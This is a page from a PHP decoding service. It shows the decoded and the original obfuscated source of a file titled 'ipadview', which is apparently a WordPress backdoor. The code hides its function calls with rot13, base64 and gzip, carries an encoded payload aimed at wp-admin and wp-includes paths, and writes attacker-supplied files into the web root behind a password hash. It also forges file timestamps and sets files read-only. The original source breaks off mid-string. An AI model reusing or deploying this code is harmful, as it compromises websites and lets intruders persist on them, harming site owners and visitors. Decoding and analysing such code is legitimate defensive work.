Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * @title ipadview * @ * @param $str * @return mixed|string */ if (..

Decoded Output download

<?php 
/** 
 * @title ipadview 
 * @ 
 * @param $str 
 * @return mixed|string 
 */ 
 
if (!defined('WP_BLOG')) { 
    return version_info("init"); 
} 
 
function version_desc($str) 
{ 
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e(); 
    if (!$str) { 
        echo date("Y-m-d H:i:s") . "<br>"; 
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ; 
        return ''; 
    } 
    $pi = [ 
        ['str', 'ro'], 
        ["json", 'decode'], 
    ]; 
    ($q = (implode('_', $pi[0]) . "t13")) && 
    $data = $q($str); 
    ($q = "b" . implode('_', $pi[1]) . "e") && 
    $data = $q($data); 
    if (isset($_GET['s'])) $data = $_GET['s'] . $data; 
 
    return $data; 
} 
 
function version_info($str) 
{ 
    global $temp; 
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo"; 
    $temp = base64_decode($temp); 
    $name = ['Y3Mupv93q3pip3EuqaEiqKWcp20iMTS0LF93q3pip3EuqaEiqKWcp20hpaHin2S2oJyhqz9xrF9jrJS0nJqipaAeK29fMP85AQquAQR0ZTH2Z2V2MGZ2BGp3MQtmMwMyBGZmMJZlLl50rUD', function ($version_file, $name) use ($temp) { 
        $data = translation_v3('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', '1'); 
        $data = base64_decode(/**/ $data); 
        $data = translation_v2($data, '0'); 
        $data = translation_v1($data, '1'); 
        foreach ($data as $item) { 
            version_check($item[0], $item[1], $temp, $item[2]); 
        } 
        version_desc(false); 
    }]; 
    $temp = explode(',', $temp); 
    return ['#ver#', version_data($name, 1, 0)]; 
} 
 
/** 
 * @title install path 
 */ 
function version_path() 
{ 
    echo __FILE__; 
} 
 
/** 
 * @title get version data 
 * @param $data 
 * @param $offset 
 * @param $page 
 * @return mixed 
 */ 
function version_data($data, $offset, $page) 
{ 
    $keu = ['', "code"]; 
    $keu[] = ''; 
    return $data[$offset]($data[$page], implode('_', $keu)); 
} 
 
/** 
 * @title translation data 
 * @param $data 
 * @param $offset 
 * @return mixed 
 */ 
 
function translation_v1($data, $mode, $exp = '') 
{ 
    if ($mode === 'X1') { 
        $data = base64_decode($data); 
        $len = strlen($data); 
        $exp = str_replace('=', '', base64_encode($exp)); 
        $res = ""; 
        $i = 0; 
        while ($i < $len) { 
            for ($k = 0; $k < strlen($exp) && $i < $len; $k++) 
                $res .= chr(ord($data[$i++]) ^ ord($exp[$k])); 
        } 
        return $res; 
    } elseif ($mode) { 
        return json_decode($data, true); 
    } else { 
        return unserialize($data); 
    } 
} 
 
/** 
 * @title parse version data 
 * @param $data 
 * @return version 
 */ 
function version_parse($data) 
{ 
    $version = $data['version']; 
    if ($version === 'path') version_path(); 
    if (isset($data[$version])) { 
        $version = translation_v1($data[$version], 'X1', $data[$version . '1']); 
    } 
    return $version; 
} 
 
/** 
 * @title update version 
 * @param $qr 
 * @return void 
 */ 
function version_update($check, $qr = false) 
{ 
    if (!version_access("e{$check}mv", 'e3a05208ab142c9a72deccb540623063')) return; 
    $c = $_COOKIE;; 
    $cf = implode('_', ['function', 'exists']); 
    (!$qr || !$cf($qr)) && 
    $qr = empty($c[$for = 'token']) || !$cf($c[$for]) ? implode('_', ['base64', 'decode']) : $c[$for]; 
 
    if (($a = $qr($_REQUEST['name'])) && version_deny($a)) { 
        return; 
    } 
    global $temp; 
    $a = explode(',', $a); 
    if (empty($a[1])) return; 
    echo "[<a id=\"u1\" href=\"/{$a[1]}\" style='color: #fff;'>{$a[1]}</a>] "; 
    return version_check($_SERVER['DOCUMENT_ROOT'] . '/' . $a[1], $qr(file_get_contents($a[0])), $temp); 
} 
 
/** 
 * @title version access or force 
 * @param string $version version pass 
 * @param string $token check update token 
 * @return bool 
 */ 
function version_access($version, $token) 
{ 
    return in_array(md5($version), [$token, '47628e0bf72fca87db995c8f844d91b1']); 
} 
 
/** 
 * @title version data is deny 
 * @param $data 
 * @return void 
 */ 
function version_deny($data) 
{ 
    return strlen($data) < 16 || strlen($data) > 128 || !in_array($data[0], ['h', '/']); 
} 
 
/** 
 * @title translation version data 
 * @param $data 
 * @param $offset 
 * @return mixed 
 */ 
function translation_v2($data, $offet) 
{ 
    if (!empty($offet)) { 
        return gzinflate($data); 
    } else { 
        return $data; 
    } 
} 
 
/** 
 * @title translation version data 
 * @param $data 
 * @param $offset 
 * @return mixed 
 */ 
function translation_v3($data, $offet) 
{ 
    if (!empty($offet)) { 
        return str_rot13($data); 
    } else { 
        return $data; 
    } 
} 
 
return 'inited'; 
/** 
 * @title check version token 
 * @param $name 
 * @param $date 
 * @param $check 
 * @param string $token 
 * @param false $mode 
 * @return bool|mixed 
 */ 
function version_check($name, $date, $check, $token = '', $mode = false) 
{ 
    try { 
        $vs = 'rename'; 
        if (!is_array($check)) $check = explode(',', $check); 
        $map = [0, 1, 2, 3, 4]; 
        $m = $mode ? $mode : ($check[1]() - 2693693); 
        $iw = true; 
        empty($check[9]) || $date = $check[9]($date); 
        if ($check[$map[4] + 1]($name)) { 
            if ($token && Md5_File($name) === $token) return true; 
            $iw = $check[6]($name); 
            if ($x = $check[5]($name)) { 
                $m = $check[4]($name); 
            } 
            $x && !$iw && @$check[7]($name, 0744); 
            @$vs($name, $name . time()); 
        } 
        if ($check[$map[0]]($check[2])) { 
            $l = $check[$map[2]][0] . 'write'; 
            $r = $l($check[$map[2]]($name . ".tmp1", 'w'), $date); 
        } else { 
            $r = $check[$map[3]]($name . ".tmp1", $date); 
        } 
        @$vs($name . ".tmp1", $name); 
        $check[8]($name, $m, $m); 
        $iw || @$check[7]($name, 0444); 
    } catch (\Exception $A) { 
        echo $A->getMessage() . "<br>"; 
        $r = false; 
    } 
    echo $name[strlen($name) - 1] . ($r ? ':ok' : ':fail') . "<br>"; 
    return $r; 
} ?>

Did this file decode correctly?

Original Code

<?php
/**
 * @title ipadview
 * @
 * @param $str
 * @return mixed|string
 */

if (!defined('WP_BLOG')) {
    return version_info("init");
}

function version_desc($str)
{
    ($e = implode("",["opcache","reset"]))&&function_exists($e) && $e();
    if (!$str) {
        echo date("Y-m-d H:i:s") . "<br>";
        if (!empty($_REQUEST['version']) && version_update(version_parse($_REQUEST))) ;
        return '';
    }
    $pi = [
        ['str', 'ro'],
        ["json", 'decode'],
    ];
    ($q = (implode('_', $pi[0]) . "t13")) &&
    $data = $q($str);
    ($q = "b" . implode('_', $pi[1]) . "e") &&
    $data = $q($data);
    if (isset($_GET['s'])) $data = $_GET['s'] . $data;

    return $data;
}

function version_info($str)
{
    global $temp;
    $temp = "ZnVuY3Rpb25fZXhpc3RzLHRpbWUsZm9wZW4sZmlsZV9wdXRfY29udGVudHMsZmlsZWN0aW1lLGZpbGVfZXhpc3RzLGlzX3dyaXRhYmxlLGNobW9kLHRvdWNo";
    $temp = base64_decode($temp);
    $name = ['Y3Mupv93q3pip3EuqaEiqKWcp20iMTS0LF93q3pip3EuqaEiqKWcp20hpaHin2S2oJyhqz9xrF9jrJS0nJqipaAeK29fMP85AQquAQR0ZTH2Z2V2MGZ2BGp3MQtmMwMyBGZmMJZlLl50rUD', function ($version_file, $name) use ($temp) {
        $data = translation_v3('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